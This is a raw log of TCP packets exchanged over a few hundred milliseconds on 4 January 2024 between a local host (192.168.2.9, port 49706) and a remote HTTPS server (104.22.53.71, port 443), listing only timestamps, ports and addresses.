Jan 4, 2024 08:37:16.141460896 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.170757055 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.170774937 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.381927013 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.382033110 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.384810925 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.384819984 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.385071039 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.392870903 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.440741062 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.617826939 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.617887020 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.617923975 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.617944956 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.617960930 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.617970943 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.618007898 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.618036985 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.618069887 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.618084908 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.618110895 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.618168116 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.618190050 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.618271112 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.618302107 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.618311882 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.618321896 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.618362904 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.618913889 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.618990898 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.619028091 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.619031906 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.619040966 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.619095087 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.619102955 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.619767904 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.619810104 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.619820118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.619894028 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.619935989 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.619944096 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.620033026 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.620073080 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.620078087 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.620085955 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.620131969 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.620696068 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.620773077 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.620815992 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.620816946 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.620835066 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.620877028 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.620884895 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.620920897 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.620964050 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.620971918 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.621622086 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.621659040 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.621669054 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.621680021 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.621718884 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.621726036 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.621761084 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.621798992 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.621807098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.622551918 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.622585058 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.622605085 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.622613907 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.622631073 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.622654915 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.623475075 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.623532057 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.623558044 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.665043116 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.712683916 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.712749004 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.712779999 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.712827921 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.712838888 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.712909937 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.713440895 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.713485003 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.713495016 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.713562965 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.714410067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.714463949 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.714462996 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.714487076 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.714509010 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.715013027 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.715063095 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.715080023 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.715105057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.715128899 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.715137959 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.715157032 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.716190100 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.716237068 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.716242075 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.716255903 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.716306925 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.716964960 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.717012882 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.717114925 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.717170954 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.717922926 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.717977047 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.718029976 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.718085051 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.718462944 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.718507051 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.718998909 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.719055891 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.806934118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.807002068 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.807320118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.807400942 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.807825089 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.807889938 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.808335066 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.808386087 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.808432102 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.808476925 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.809021950 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.809072971 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.809161901 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.809211016 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.809704065 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.809750080 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.810231924 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.810293913 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.810641050 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.810693026 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.810858011 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.810920000 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.811249971 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.811305046 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.812218904 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.812355995 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.812397957 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.812457085 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.812592030 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.812648058 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.813174963 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.813235044 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.813285112 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.813325882 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.814023018 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.814070940 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.814171076 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.814220905 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.814899921 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.814958096 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.815048933 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.815103054 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.815850019 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.815901041 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.816889048 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.816941977 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.816956043 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.816978931 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.817018986 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.818470955 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.818489075 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.818520069 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.818545103 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.818559885 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.820394039 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.820409060 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.820457935 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.820483923 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.820611000 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.822056055 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.822072029 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.822118998 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.822139978 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.822165966 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.823355913 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.823374033 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.823411942 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.823432922 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.823455095 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.825280905 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.825294971 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.825336933 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.825362921 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.825381994 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.827044964 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.827059984 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.827095032 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.827121973 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.827141047 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.827927113 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.827974081 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.859754086 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.859774113 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.859839916 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.859869003 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.899462938 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.902446985 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.902463913 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.902537107 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.902558088 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.902609110 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.904196024 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.904211998 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.904273987 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.904288054 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.904333115 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.905842066 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.905849934 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.905914068 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.905921936 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.905977964 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.907540083 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.907558918 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.907613039 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.907620907 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.907640934 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.907670975 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.909203053 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.909219027 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.909274101 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.909280062 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.909313917 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.910980940 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.910999060 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.911042929 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.911050081 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.911076069 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.911111116 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.912571907 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.912590981 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.912646055 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.912652969 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.912698030 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.914402962 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.914417982 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.914479017 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.914484978 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.914530993 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.916078091 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.916094065 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.916167021 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.916177034 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.916225910 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.917814970 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.917833090 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.917907000 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.917917967 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.917967081 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.919478893 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.919493914 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.919552088 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.919559956 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.919601917 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.922049999 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.922065973 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.922117949 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.922125101 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.922164917 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.922930956 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.922947884 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.923002005 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.923008919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.923044920 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.924647093 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.924663067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.924715996 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.924729109 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.924772024 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.926559925 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.926579952 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.926632881 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.926639080 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.926688910 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.927901983 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.927917957 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.927982092 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.927989006 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.928041935 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.929682970 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.929706097 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.929735899 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.929742098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.929778099 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.929799080 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.931431055 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.931446075 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.931516886 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.931541920 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.931586981 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.933350086 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.933367014 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.933490038 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.933496952 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.933542013 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.935220957 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.935251951 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.935305119 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.935311079 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.935352087 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.936290979 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.936342955 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.936362028 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.936372042 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.936413050 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.936431885 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.938302994 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.938319921 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.938385963 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.938394070 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.938447952 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.940205097 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.940234900 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.940289974 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.940296888 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.940308094 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.940332890 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.942054987 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.942078114 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.942145109 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.942151070 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.942188978 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.943140030 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.943166018 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.943201065 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.943206072 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.943236113 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.943254948 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.944916964 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.944933891 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.944999933 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.945010900 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.945077896 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.996396065 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.996421099 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.996521950 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.996546030 CET	443	49706	104.22.53.71	192.168.2.9
